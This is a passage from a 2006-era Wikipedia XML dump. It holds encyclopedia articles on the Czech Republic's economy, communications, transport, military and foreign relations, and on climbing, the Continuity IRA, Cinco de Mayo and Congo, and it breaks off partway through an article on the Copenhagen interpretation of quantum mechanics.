koruny (Kč) per US$1 - 28.2 (2003), 32.7 (2002), 38.0 (2001), 38.6 (2001), 34.6 (1999), 32.3 (1998), 31.7 (1997), 27.1 (1996), 26.5 (1995)

==See also==
* [[Prague Stock Exchange]]
* [[Economy of Europe]]

==External links==
*[http://www.oecd.org/eco/surveys/czech/ OECD Economic Survey of the Czech Republic]
*[http://www.oecd.org/czech/ OECD's Czech Republic country Web site]
*[http://www.cia.gov/cia/publications/factbook/geos/ez.html CIA - The World Factbook -- Czech Republic]
*[http://www.czso.cz/eng/csu.nsf/aktualniinformace Current economic data]

{{EU countries}}
{{OECD}}
[[fr:Économie de la République tchèque]]

[[Category:Economy of the Czech Republic| ]]
[[Category:European Union member economies]]


[[es:Economía de la República Checa]]
[[pt:Economia da República Checa]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Czech Republic</title>
    <id>5850</id>
    <revision>
      <id>31060438</id>
      <timestamp>2005-12-12T16:11:02Z</timestamp>
      <contributor>
        <username>Bbpen</username>
        <id>70135</id>
      </contributor>
      <comment>enhance -&gt; improve</comment>
      <text xml:space="preserve">'''Telephones - main lines in use:'''
3.626 million (2003) 

'''Telephones - mobile cellular:'''
9.708 million (2003)

'''Telephone system:'''
&lt;br&gt;''domestic:''
86% of exchanges now digital; existing copper subscriber systems now being improved with Asymmetric Digital Subscriber Line (ADSL) equipment to accommodate Internet and other digital signals; trunk systems include fiber-optic cable and microwave radio relay 
&lt;br&gt;''international:''
satellite earth stations - 2 Intersputnik (Atlantic and Indian Ocean regions), 1 Intelsat, 1 Eutelsat, 1 Inmarsat, 1 Globalstar 

'''Radio broadcast stations:'''
AM 31, FM 304, shortwave 17 (2000) 

'''Radios:'''
3,159,134 (December 2000) 

'''Television broadcast stations:'''
150 (plus 1,434 repeaters) (2000) 

'''Televisions:'''
3,405,834 (December 2000) 

'''Internet Service Providers (ISPs):'''
more than 300 (2000) 

'''Internet users:'''
2.69 million (2001) 

'''[[Country code]]:''' CZ

:''See also :'' [[Czech Republic]]

 
[[Category:Communications in the Czech Republic| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in the Czech Republic</title>
    <id>5851</id>
    <revision>
      <id>27718247</id>
      <timestamp>2005-11-08T12:51:19Z</timestamp>
      <contributor>
        <username>Tex23</username>
        <id>507751</id>
      </contributor>
      <comment>Port - Mělník</comment>
      <text xml:space="preserve">'''Railways:'''
&lt;br&gt;''total:''
9,435 km
&lt;br&gt;''standard gauge:''
9,341 km 1.435-m standard gauge (2,946 km electrified at three voltages; 1,868 km double track)
&lt;br&gt;''narrow gauge:''
94 km 0.760-m narrow gauge (1998)
* [[České dráhy]] (ČD) (English: ''Czech Railways'') is the major Czech railway company.

*City with [[Metro|underground]] railway system: [[Prague]] (see the [[Prague Metro]] article)

*Cities with trams: [[Brno]], [[Liberec]], [[Most]], [[Olomouc]], [[Ostrava]], [[Plzeň]], [[Prague]]

'''Highways:'''
&lt;br&gt;''total:''
127,693 km
&lt;br&gt;''paved:''
127,693 km (including 498 km of expressways)
&lt;br&gt;''unpaved:''
0 km (1998 est.)

'''Highways in the Czech Republic:'''
* [[Highway D1|D1]]
* [[Highway D2|D2]]
* [[Highway D3|D3]]
* [[Highway D5|D5]]
* [[Highway D8|D8]]
* [[Highway D11|D11]]
* [[Highway D47|D47]]

'''Waterways:'''
677 km; the [[Elbe]] (Labe) is the principal river

'''Pipelines:'''
natural gas 53,000 km (1998)

'''Ports and harbors:'''
[[Děčín]], [[Mělník]], [[Prague]], [[Ústí nad Labem]]

'''Airports:'''
114 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
43
&lt;br&gt;''over 3,047 m:''
2
&lt;br&gt;''2,438 to 3,047 m:''
10
&lt;br&gt;''1,524 to 2,437 m:''
14
&lt;br&gt;''914 to 1,523 m:''
1
&lt;br&gt;''under 914 m:''
16 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
71
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
28
&lt;br&gt;''under 914 m:''
42 (1999 est.)

'''Heliports:'''
1 (1999 est.)


==See also==
* [[Czech Republic]]
* [[List of airports in Czech Republic]]

[[Category:Transportation in the Czech Republic|*]]</text>
    </revision>
  </page>
  <page>
    <title>Czech Republic/Transnational issues</title>
    <id>5852</id>
    <revision>
      <id>15904042</id>
      <timestamp>2002-08-28T09:49:13Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Foreign relations of the Czech Republic]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Czech Republic</title>
    <id>5853</id>
    <revision>
      <id>40037579</id>
      <timestamp>2006-02-17T17:54:22Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>rm sp in lnk</comment>
      <text xml:space="preserve">{{Military
| color=#8888dd
| age=18 years of age
| availability=2,414,728 (2005 est.)
| service=1,996,631 (2005 est.)
| reaching age=66,583 (2005 est.)
| active=
| amount= $2.17 billion (2004)
| percent GDP= 1.81% (2005) 
}}

The '''Czech Armed Forces''' ([[Czech Language|Czech]]: ''Armáda České republiky'') consists of Land and [[Czech air force|Air Forces]] and of specialized support units. Being a member of [[NATO]] since [[1999]], the [[Czech Republic]] completes a major overhaul of the extensive [[Czechoslovakia|Czechoslovak]] armed forces which until [[1989]] formed one of the pillars of the [[Warsaw Pact]] military alliance. Czech forces have been gradually downsized from 200,000 to 35,000 and at the same time modernized and reoriented toward defensive posture. In year [[2004]] the army transformed into fully professional organization and compulsory military service has been ended. 

==Structure==

The structure of the Armed Forces of the Czech Republic is as follows:
*The Army 
**Joint Forces
***Joint Forces Command
***Land Forces
***[[Czech Air Force|Air Force]]
***Joint Forces Support Units
**Support and Training Forces
*The Military Office of President of the Republic
*The [[Prague Castle|Castle]] Guard

==Recent operations==

The Czech Republic is a member of the [[United Nations|UN]] and [[Organization for Security and Co-operation in Europe|OSCE]] and has contributed to numerous peacekeeping operations, including [[IFOR]]/[[SFOR]] in [[Bosnia and Herzegovina | Bosnia]], [[Desert Shield]]/[[Desert Storm]], [[Afghanistan]], [[Kosovo]] and Iraq.

Current deployments (as of 2005):

*[[Kosovo]]: NATO Operation &quot;Joint Enterprise&quot; ([[KFOR]]) - 500 soldiers
*[[Iraq]]:  Coalition Operation of Multinational Forces - 96 soldiers
*[[Bosnia and Herzegovina]]: European Union Operation (ALTHEA) - 65 soldiers
*[[Afghanistan]]: NATO Operation ([[ISAF]]) - 17 soldiers

==External links==
*[http://www.army.cz/scripts/detail.php?pgid=122 Ministry of Defence of the Czech Republic] (English) 
*[http://www.natoaktual.cz Information Center about NATO] (Czech) 
*[http://www.czechairforce.cz/index.php Czech Air Force-unofficial site] (English) 
{{NATO}}

[[Category:Military of the Czech Republic|Military of the Czech Republic]]

[[cs:Armáda České republiky]]
[[sl:Armada Češke republike]]</text>
    </revision>
  </page>
  <page>
    <title>Czech Republic/History</title>
    <id>5854</id>
    <revision>
      <id>15904044</id>
      <timestamp>2004-08-22T23:35:35Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
      </contributor>
      <minor />
      <comment>update to avoid double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[History of the Czech lands]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of the Czech Republic</title>
    <id>5855</id>
    <revision>
      <id>35312672</id>
      <timestamp>2006-01-15T21:15:38Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>template</comment>
      <text xml:space="preserve">{{Politics of the Czech Republic}}
Until [[1989]], the foreign policy of Czechoslovakia had followed that of the [[Soviet Union]]. Since independence, the Czechs have made integration with Western institutions their chief foreign policy objective.

Fundamental to this objective is Czech membership in the [[European Union]]. The Czech Republic became a member of the [[EU]] in May [[2004]]. This followed signature of the Treaty of Accession with nine other candidate nations in [[1993]]. Although there have been disagreements with established EU member nations over some economic issues, such as agricultural quotas and a recent amendment to the gaming law, relations are good.

The Czech Republic is a member of the [[United Nations]] and participates in its specialized agencies. It is a member of the [[General Agreement on Trade and Tariffs]]. It maintains diplomatic relations with more than 85 countries, of which 63 have permanent representation in Prague. The Czech Republic became a member of the [[North Atlantic Treaty Organisation]], along with Poland and Hungary, on [[12 March]] [[1999]]. This membership represents a milestone in the country's foreign policy and security orientation.

'''Disputes - international:'''
[[Liechtenstein]] claims restitution for 1,600 km² of land in the Czech Republic confiscated from its royal family in [[1918]]; the Czech Republic insists that the power to claim restitution does not go back before February [[1948]], when the communists seized power; individual [[Sudeten German]] claims for restitution of property confiscated in connection with their expulsion after [[World War II]]; agreement with [[Slovakia]] signed [[24 November]] [[1998]] resolves issues of redistribution of former Czechoslovak federal land - approval by both parliaments is expected in [[2000]].

'''Illicit drugs:'''
major transshipment point for Southwest Asian heroin and minor transit point for [[Latin American]] cocaine to Western Europe; domestic consumption - especially of locally produced synthetic drugs - on the rise

:''See also :'' [[Czech Republic]]

[[Category:Government of the Czech Republic]]
[[Category:Foreign relations by country|Czech Republic]]</text>
    </revision>
  </page>
  <page>
    <title>Czech Republic/Sacrum</title>
    <id>5856</id>
    <revision>
      <id>15904046</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Dreamyshade</username>
        <id>32</id>
      </contributor>
      <minor />
      <comment>redirect to Holy Roman Empire</comment>
      <text xml:space="preserve">#REDIRECT [[Holy Roman Empire]]</text>
    </revision>
  </page>
  <page>
    <title>Climbing</title>
    <id>5857</id>
    <revision>
      <id>41649479</id>
      <timestamp>2006-02-28T20:13:02Z</timestamp>
      <contributor>
        <username>Martin Hinks</username>
        <id>264571</id>
      </contributor>
      <minor />
      <comment>Wikipedia is not a link collection</comment>
      <text xml:space="preserve">[[Image:Valkyrie (The Roaches).jpg|thumb|250px|Climbers on &quot;Valkyrie&quot; at [[the Roaches]].]]

:''Climber'' is also a synonym for [[vine]].

'''Climbing''' is going up, or, depending on context, also down. It may refer to [[aircraft]], a land [[vehicle]], and [[human]]s and other [[animal]]s. On land, in particular it refers to steep climbs, e.g. on a [[hill]], [[mountain]] or [[stairs]], in a pole or [[tree]], etc. This article covers climbing without a vehicle.

== Types of climbing ==
'''By terrain:'''
* Rock climbing is climbing on steep rocky terrain.
* [[Mountaineering]] is climbing on [[mountain]]s.
* [[Ice climbing]] is climbing on frozen [[water]] features.
* Mixed climbing is climbing on both frozen water features, as in [[ice climbing]], as well as rocky  terrain.
* [[Bouldering]] is [[solo climbing]] on [[boulder]]s.
* Stack climbing is climbing [[sea stack]]s: near vertical columns of rock in the sea, near coasts.
* [[Buildering]] (pun on bouldering) is climbing on the outside of buildings.
* [[Indoor climbing]] is climbing on artificial [[climbing wall]]s.
* [[Artificial climbing tower]] is a wooden or steel [[climbing wall]] used outdoors.
* [[Recreational tree climbing]] is climbing on [[tree]]s.
* Professional [[tree climbing]] is climbing on [[tree]]s for the purpose of hardware installation, pruning, or removal.

'''By method of ascent:'''
* In [[aid climbing]], all means of ascent are used, from pulling on gear to climbing rope ladders attached to drilled bolts.
* In [[free climbing]], climbers use only their hands, feet and other body parts to make progress. Ropes and other gear are only used for protection.

'''By type of protection:'''
* In [[traditional climbing]] (commonly referred to as &quot;trad climbing&quot;) the leader places all protection. The [[climbing system]] is used to protect the climber against the consequences of a fall.
* [[Sport climbing]] is climbing on routes that are protected mostly or entirely by [[bolt (climbing)|bolt]]s drilled into the rock.
* [[Top-rope climbing]] uses a rope passed through an anchor at the top of the climb. 
* [[Solo climbing]] is climbing without a partner. It can be done with a rope for protection (&quot;roped solo&quot;) or without any form of protection at all (&quot;free-soloing&quot;). [[Deep-water soloing]] relies on water at the base of the climb to protect against injury. 
*[[Bouldering]] relies on a partner (a &quot;spotter&quot;) and a [[Crash pad|bouldering mat]] to avoid injury.

[[Image:Calico Hills climbing.jpg|right|250px|thumb|Short (one-pitch) climbs on the Calico Hills, west of Las Vegas, Nevada]]

== Competitions ==
Competitions (&quot;comps&quot;) are usually held indoors on purpose built [[climbing wall]]s.  There are three main categories.
* Difficulty: competitors climb the same route one after the other. The winner is the one who reaches the highest point on the climb; if several competitors reach the top (or the same high point) the time taken may be used to determine the winner.  Alternatively, some difficulty competitions involve a number of routes. Each route is assigned a point value based on difficulty.  Competitors climb as many routes as they want, and their score is derived from their top few completed routes (with the exact number of routes differing between competitions).  If a tie-breaker is needed, the numbers of &quot;falls&quot; (attempts) is counted.  Some competitions limit the number of attempts, others do not.

* Speed: on two identical routes, competitors race each other to the top. The first to reach the top wins.

* Bouldering: Competitors work through a series of boulder problems on either a time limit, or an attempt limit for each problem. Points are awarded for completing each problem. In a tie-break situation or where limited attempts are allowed then points are awarded for the fewest number of attempts required to complete the problem. Bouldering competitions at higher levels usually have ''[[Isolation (climbing competitions)|isolation]]'' to ensure that the competitors cannot see the problems before climbing them.

Sometimes climbers must climb the route ''[[climbing on sight|on sight]]''. This means that they are not allowed to see other climbers on the route, or receive any form of advice (beta) from other climbers, and have only a limited amount of time to visually inspect the route from ground level. (Otherwise later climbers would be able to learn from previous competitors' mistakes, giving them a considerable advantage.)

In addition to competitions, festivals such as the [[Phoenix Boulder Blast]] and the[[ International Climbing Festival]] (held in [[Lander, Wyoming]]) are a gathering place for rock climbers from around the world. They feature trade shows for climbing specific merchandise, clinics from world-renowned climbers, and parties.

== Grading ==
Climbers grade the difficulty of the routes they climb. The [[grade (climbing)|grading system]] used varies from country to country (and region) and according to the style of climb.  See also [[grade (bouldering)]]. Grade opinions can vary from person to person. This phenomenon can be seen frequently in climbing gyms where grading will vary vastly between gyms.

Different forms of grading are also used for mountaineering and bouldering. There is no common bouldering grading technique yet.

== Climbing techniques of animals ==

Many animals have developed excellent climbing techniques. Some animals, such as [[gecko]]es, can walk up and down vertical walls and even walk on ceilings without any problems. But some other animals have the same problem as humans in that climbing down is more difficult than climbing up, because backwards movements are required. The best known example are [[cat]]s, which have to be rescued sometimes from trees, because they cannot climb down from them.

== Climbing and the law ==

Rock climbing is not necessarily allowed on any given rock formation.  The regulations vary from place to place but [[trespass]] laws are the most common impediment to climbing.  Even where physical access is not an issue, climbing might not be allowed due to public [[liability]] concerns.  Land owners often ban climbing during particular seasons to protect, for example, nesting birds.  There are several organisations devoted to opening up new areas, or protecting access to existing areas, for rock climbing.  In the USA, the largest of these is [http://www.accessfund.org The Access Fund]. In the UK, an equivalent organisation is the [http://www.thebmc.co.uk British Mountaineering Council's] Access and Conservation Trust.

Climbing on buildings and structures (&quot;[[buildering]]&quot;) without the owner's consent is illegal in most cases.

== Climbing in popular culture ==
Climbing also has importance in some festivals. The best known festivals in which climbing plays an important role are [[technoparade]]s, especially [[loveparade]].  In these parades, it is very common to climb on trees, street lamps, portable restrooms and other large objects.  Climbing is also common during streetparade in Zurich and reincarnation in Hannover, although security staff and policemen pay close attention to climbers, since injuries and property damage have occurred in the past.

Rock climbing has been featured in many popular movies, such as [[Cliffhanger (film)|Cliffhanger]] and [[Vertical Limit]], but save for a few exceptions it is generally given an inaccurate portrayal by Hollywood and much of the popular media.  The sport of rock climbing was swept up in the [[extreme sport]] craze in the late 1990s which led to images of rock climbers on everything from anti perspirant and [[US Marine Corps|United States Marine Corps]] commercials to college promotional materials.

== See also ==
* [[List of climbers]]
* [[List of climbing topics]]
* [[List of climbing areas]]
* [[Climbing equipment]]
* [[Glossary of climbing terms]]
* [[Cliffhanger (movie)]]
* [[Outdoor education]]
* [[Parkour]] - French technique of passing obstacles in one fluid motion

[[Category:Climbing]]

[[ca:Escalada]]
[[cs:Horolezectví]]
[[de:Klettern]]
[[es:Escalada]]
[[eo:Grimpado]]
[[fr:Escalade]]
[[lt:Laipiojimas]]
[[nl:Klimsport]]
[[ja:&amp;#12525;&amp;#12483;&amp;#12463;&amp;#12463;&amp;#12521;&amp;#12452;&amp;#12511;&amp;#12531;&amp;#12464;]]
[[no:Klatring]]
[[pl:Wspinaczka]]
[[pt:Escalada]]
[[ru:Скалолазание]]
[[sl:Plezanje]]
[[sv:Klättring]]
[[zh:攀岩]]

==External links==

*[http://www.spadout.com Rock Climbing Magazine - Spadout]
*[http://www.verticalresources.org Vertical Resources - Infomation on mountaineering, ice and rock climbing.  Based in New Zealand]
*[http://www.climberonline.com Climber Online - Global, online climbing resource in English]
*[http://www.supertopo.com SuperTopo - Online resource for climbing route information in the western US including Yosemite, Zion, &amp; Sierras.  Discussion forum.  English]</text>
    </revision>
  </page>
  <page>
    <title>Continuity Irish Republican Army</title>
    <id>5859</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41615819</id>
      <timestamp>2006-02-28T15:13:00Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">The '''Continuity Irish Republican Army''' ('''CIRA''') is an [[Irish Republicanism|Irish Republican]] paramilitary organisation (which supporters recognise as the National Army of the 32-County Irish Republic) that split from the [[Provisional Irish Republican Army|Provisional IRA]] in [[1986]]. The Provisional IRA supported a motion at the [[Sinn Féin]] Ard Fheis (party conference) to drop the policy of [[abstentionism]] and take seats in the [[Oireachtas]], the parliament of the [[Republic of Ireland]].

Opponents of the motion contended that it was unconstitutional and established themselves as a separate body, claiming to a rump continuation of the legitimate IRA and regarding the Provisionals as having left the movement. Some members of the Army Executive reconstituted themselves as the Continuity Executive and then appointed the Continuity Army Council. Amongst those who split the Provisionals was [[Ruairí Ó Brádaigh]], the former President of Provisional Sinn Féin who had headed the Provos during the similar split from the [[Official IRA]] in [[1970]]. The CIRA believe that, according to the IRA constitution, they are legitimate, while the PIRA betrayed the cause.

(Source: &quot;The Long War&quot; by Brendan O'Brien.) (ISBN 0862786061)

The CIRA claims to be the legitimate continuation of the '[[Irish Republican Army]]' or ''Óglaigh na hÉireann'', or the IRA. However the term is far more commonly used in a contemporary context to refer to the Provisionals' now defunct military body (known as the [[PIRA]]). Other self-styled &quot;IRAs&quot; include the [[Real IRA]] (RIRA).

Following the Provisional ceasefire in [[1994]] the Continuity IRA became active. The CIRA announced its intention to continue the campaign against British rule, well before the formation of the [[Real IRA|&quot;Real IRA&quot;]]. The CIRA continues to oppose the [[Stormont Agreement]] and, unlike the Provisional IRA (and the [[Real IRA]] in [[1998]]), as of [[2006]] the CIRA has not announced a ceasefire or agreed to participate in weapons decommissioning - nor is there any evidence that they will. On [[13 July]] [[2004]], the US government designated the CIRA as an &quot;FTO&quot; (&quot;Foreign Terrorist Organisation&quot;) although there was no evidence that they planned to attack the USA [http://www.state.gov/s/ct/rls/45454.htm], thereby making it illegal for Americans to provide material support to it, requiring US financial institutions to block the group's assets, and denying alleged CIRA members visas into the US.

The CIRA claim to be the true inheritors of an Irish Republican tradition that includes the 'Old' [[Irish Republican Army]] that fought the [[1919]]-[[1921]] [[Anglo-Irish War|War of Independence]], and claims to have attained legitimacy as such from the Executive of the Second Dáil (recognised in this claim by [[Tom Maguire]], the last surviving member of the [[Second Dáil]]), as the continuation of the IRA before this. However, these claims are disputed by most Republicans.

Recently, several incarcerated members of the Continuity IRA have left the organization for unclear reasons. Supporters of the leadership claim that there was an internal disagreement, however when it was settled some people left the movement anyway. There have been many rumours about the reasons for the prisoners leaving the organization, none of which has been confirmed by both sides. In February 2006, the [[Independent Monitoring Commission]] reported that a dissident republican group styling itself [[Óglaigh na hÉireann]] had been formed after a split from the CIRA.
 
*'''Activities:''' Suspected CIRA activities have included numerous bombings, assassinations and kidnappings, as well as extortion and robbery. Targets of the CIRA have included [[British army|British military]] and Police service (RUC, etc.), as well as [[Loyalist]] terrorists. It has also set off bombs in towns in Northern Ireland. As of 2004, the CIRA is not believed to have an established presence or capability of launching attacks on the island of [[Great Britain|Britain]]. A CIRA bomb defused in Dublin in December 2005 was believed by gardai to have been intended for use against drugs gangs in the city [http://www.rte.ie/news/2005/1209/m50.html]. In February 2006, the Independent Monitoring Commission blamed the CIRA for planting four bombs in Northern Ireland during the final quarter of 2005, as well as several hoax bomb warnings.

*'''Strength:''' In [[2004]] the [[United States]] (US) government believed the CIRA to consist of fewer than fifty fully active members. In [[2005]], [[Irish Minister for Justice, Equality &amp; Law Reform]] [[Michael McDowell]] told [[Dáil|Leinster House]] that the organisation had a maximum of 150 members [http://debates.oireachtas.ie/DDebate.aspx?F=DAL20050623.xml&amp;Node=H10-1#H10-1].
*'''External aid:''' The US government suspected the CIRA of receiving funds and arms from supporters in the United States. It is also believed that, in cooperation with the so-called &quot;Real IRA&quot;, the CIRA may have acquired arms and material from the [[Balkans]]. [[de:Continuity Irish Republican Army]]

==References==
* Eighth Report of the [[Independent Monitoring Commission]], [[1 February]] [[2006]] [http://www.independentmonitoringcommission.org/publications.cfm?id=31]
[[no:Continuity IRA]]

[[Category:Irish Republican Army]]
[[Category:Proscribed paramilitary organizations in Northern Ireland]]

{{IRAs}}</text>
    </revision>
  </page>
  <page>
    <title>Cinco de Mayo</title>
    <id>5860</id>
    <revision>
      <id>41114808</id>
      <timestamp>2006-02-25T03:35:03Z</timestamp>
      <contributor>
        <username>Where</username>
        <id>722151</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.116.177.175|69.116.177.175]] to last version by 206.176.127.227</comment>
      <text xml:space="preserve">[[Image:stamp-us-cinco-de-mayo.jpg|thumb|Cinco de Mayo is increasingly celebrated in U.S. Southwest]]
'''El Cinco de Mayo''' (&quot;The Fifth of May&quot; in [[Spanish language|Spanish]]) is a national celebration in [[Mexico]]. It commemorates the victory of Mexican forces led by General [[Ignacio Zaragoza]] over the [[France|French]] expeditionary forces in the [[Battle of Puebla]] on [[May 5]], [[1862]].

Under the pretext of forcing payment for Mexico's outstanding and crippling debt, [[United Kingdom|Britain]], [[Spain]] and [[France]] sent troops to Mexico. The democratically elected government of President [[Benito Juárez]] made agreements with the British and the Spanish, who promptly recalled their armies, but the French stayed, thus beginning the period of the [[French intervention in Mexico]]. Emperor [[Napoleon III]] wanted to secure French dominance in the former Spanish colony, including installing one of his relatives, [[Archduke Maximilian of Austria]], as ruler of Mexico. 



==The War==

Confident of a quick victory, 6,500 French soldiers marched on [[Mexico City]] to seize the capital before the Mexicans could muster a viable defense. Along their march, the French already encountered stiff resistance before Zaragoza struck out to intercept the invaders.

The battle between the French and Mexican armies occurred on [[May 5]] when Zaragoza's ill-equipped militia of 4,500 men encountered the better armed French force. However, Zaragoza's small and nimble cavalry units were able to prevent French [[dragoon|dragoons]] from taking the field and overwhelming the Mexican infantry. With the dragoons removed from the main attack, the Mexicans routed the remaining French soldiers with a combination of their tenacity, inhospitable terrain, and a stampede of cattle set off by local peasants. The invasion was stopped and crushed.

Zaragoza won the battle but lost the war. The French Emperor, upon learning of the failed invasion, immediately dispatched another force, this time numbering 30,000 soldiers. By [[1864]], they succeeded in defeating the Mexican army and occupying Mexico City. [[Maximilian von Habsburg|Archduke Maximillian]] became [[Emperor of Mexico]].

Maximilian's rule was short-lived. Mexican rebels opposed to his rule resisted, seeking the aid of the United States. Once the American Civil War was over, the U.S. military began supplying Mexicans with weapons and ammunition, and by [[1867]], the rebels finally defeated the French and deposed their puppet Emperor. The Mexican people then reelected Juárez as president.

Also on [[5 May]] [[1901]], [[Ignacio Bravo]] telegraphed the news of the end of the [[Caste War of Yucatan]] with the Mexican victory against the self-proclaimed state of [[Chan Santa Cruz]].

==See also==

* [[Fiestas Patrias]] 
* [[Battle of Puebla]]
* [[History of Mexico]]
* [[Military history of Mexico]]

[[Category:Holidays]]
[[Category:Fiestas Patrias]]
[[Category:1862 in Mexico]]
[[Category:French intervention in Mexico]]

[[fr:Cinco de Mayo]]
[[de:Cinco de mayo]]
[[es:Cinco de mayo]]
[[nl:Cinco de mayo]]</text>
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  </page>
  <page>
    <title>Congo</title>
    <id>5862</id>
    <revision>
      <id>42006953</id>
      <timestamp>2006-03-03T04:30:45Z</timestamp>
      <contributor>
        <username>Ezeu</username>
        <id>328201</id>
      </contributor>
      <comment>/* Notes */</comment>
      <text xml:space="preserve">:''This article is about the various names applied to a region of central Africa; for other uses, see [[Congo (disambiguation)]].''

[[Image:Congo-Brazzaville-Congo-Kinshasa.png|right|frame|Republic of the Congo (light green)&lt;br&gt;Democratic Republic of the Congo (dark green)]]

'''Congo''' is a name shared by two neighbouring countries in [[Central Africa]], drained by the [[Congo River]], and usually distinguished by their full official names and occasionally by adding their capital cities.

'''&quot;The Congos&quot;''' may be used to refer to both countries. The adjective &quot;Congolese&quot; (as in &quot;Congolese music&quot; or &quot;Congolese culture&quot;) can refer to either or both countries.

==Republic of the Congo==
The '''[[Republic of the Congo]]''' ('''ROC'''), also known as '''Congo-Brazzaville''' (and locally as &quot;Braza&quot;), is the smaller of the two countries and lies to the west. It was once a [[French colonial empires|French colony]], originally part of [[French Congo]] and later of [[French Equatorial Africa]]. Between 1971 and 1997 (and also in some recent publications{{ref|hdi}}) it was simply referred to as &quot;Congo&quot;.

The area was dominated by [[Bantu]] tribes throughout most of its history.  It was annexed as a colony of [[France]] in the 1880s as part of [[French Equatorial Africa]], and Brazzaville was the symbolic capital of [[Free France]] during [[World War II]].

The country gained its independence from France in 1960 as the '''Congo Republic'''.  It has had decades of political struggle since, with fragile elected governments often subject to military coups.

{{further|'''[[Republic of the Congo]]'''}}

==Democratic Republic of the Congo==
*The '''[[Democratic Republic of the Congo]]''' ('''DRC''') (known as '''[[Zaire]]''' from 1971 to 1997) is sometimes also refered to as &quot;Congo-Kinshasa&quot;. It is the larger of the two countries and lies to the east. It was once the personal property of [[King Leopold II]] of [[Belgium]], when it was known as the [[Congo Free State]], and later a Belgian colony when it was renamed the [[Belgian Congo]]. When DRC was called Zaire, the other Congo was known simply as &quot;Congo&quot;.

{{further|'''[[Democratic Republic of the Congo]]'''}}

==Historical usage of Congo and the alternate spelling &quot;Kongo&quot;==
These include:
* [[Belgian Congo]], former colony of Belgium in the present-day area of the Democratic Republic of the Congo (DRC).
* [[French Congo]], former French colony in the present-day area of the Republic of the Congo (ROC).
* [[Middle Congo]], one of the four territories of French Equatorial Africa.
* [[Kongo Empire|Kongo Kingdom]], which comprised of a large area in [[Central Africa]], and was formerly a [[Portugal|Portuguese]] [[protectorate]].
* [[Portuguese Congo]], the presently Angolan [[Cabinda enclave]]

==Notes==
&lt;div style=&quot;font-size: 80%&quot;&gt;
#{{note|hdi}} The [[List of countries by Human Development Index|2005 UN Human Development Index]] refers to the Republic of the Congo as &quot;Congo&quot;, and the Democratic Republic of the Congo as &quot;Congo, Dem. Rep. of the&quot; [http://hdr.undp.org/reports/global/2005/pdf/presskit/HDR05_PKE_HDI.pdf].
&lt;/div&gt;

[[Category:Congo]]

[[th:คองโก]]</text>
    </revision>
  </page>
  <page>
    <title>Copenhagen interpretation</title>
    <id>5863</id>
    <revision>
      <id>41672332</id>
      <timestamp>2006-02-28T23:49:11Z</timestamp>
      <contributor>
        <username>Patrick0Moran</username>
        <id>16559</id>
      </contributor>
      <comment>/* Video Demonstration */  huge file, slow download, bad playback</comment>
      <text xml:space="preserve">The '''Copenhagen interpretation''' is an [[interpretation of quantum mechanics]] formulated by [[Niels Bohr]] and [[Werner Heisenberg]] while collaborating in [[Copenhagen]] around [[1927]]. Bohr and Heisenberg extended the probabilistic interpretation of the [[wavefunction]], proposed by [[Max Born]]. Their interpretation attempts to answer some perplexing questions which arise as a result of the [[wave-particle duality]] in [[quantum mechanics]], such as the [[measurement problem]].

== Acceptance among physicists==

According to a poll at a Quantum Mechanics workshop in [[1997]], the Copenhagen interpretation is the most widely-accepted specific interpretation of quantum mechanics, followed by the [[Many-worlds interpretation]].[http://www.hep.upenn.edu/~max/everett.ps] Although current trends show substantial competition from [[Interpretation_of_quantum_mechanics|alternative interpretations]], throughout much of the twentieth century the Copenhagen interpretation has had strong acceptance among physicists.

==The meaning of the wavefunction==
 
The Copenhagen interpretation assumes that there are two processes influencing the wavefunction:

* the [[unitary operator|unitary]] evolution according to the [[Schrödinger equation]]
* the process of the [[measurement]]

While there is no ambiguity about the former, the latter admits several interpretations, even within the Copenhagen interpretation itself. One can either view the wavefunction as a real object that undergoes the [[wavefunction collapse]] in the second stage, or one can imagine that the wavefunction is an auxiliary mathematical tool (not a real physical entity) whose only physical meaning is our ability to calculate the probabilities. Niels Bohr emphasized that it is only the results of the experiments that should be predicted, and therefore the additional questions are not scientific but rather philosophical. Bohr followed the principles of [[positivism]] from philosophy that imply that only measurable questions should be discussed by the scientists.

In the classic [[double-slit experiment]], when light passes through double slits onto a screen, alternate bands of bright and dark regions are produced.  These can be explained as areas in which the light waves reinforce or cancel.  However it became experimentally apparent that light has some particle-like properties and items such as electrons have wave-like properties and can also produce interference patterns.

This poses some interesting questions.  Suppose one were to do the double slit experiment and reduce the light so that only one [[photon]] (or [[electron]]) passes through the slits at a time. In performing the experiment, one will see the electron or photon hit the screen one at a time.  However, when one totals up where the photons have hit, one will see interference patterns that appear to be the result of interfering waves even though the experiment dealt with one particle at a time.  This property means that we live in a &quot;possibilistic&quot; universe -- one with bounded likelihoods of being for its &quot;next&quot; classical state at any given moment -- rather than one with an infinite range of what can become realized &quot;next.&quot;

==Consequences==

The questions this experiment poses are

# The rules of quantum mechanics tell you ''statistically'' where the particles will hit the screen, and will identify the bright bands where many particles are ''likely'' to hit and the dark bands where few particles are ''likely'' to hit.  However, for a single particle, the rules of quantum mechanics cannot predict where the particle will ''actually'' be observed.  What are the rules to determine where an individual particle is observed?
# What happens to the particle in between the time it is emitted and the time that it is observed?  The particle seems to be interacting with both slits and this appears inconsistent with the behavior of a point particle, yet when the particle is observed, one sees a point particle.
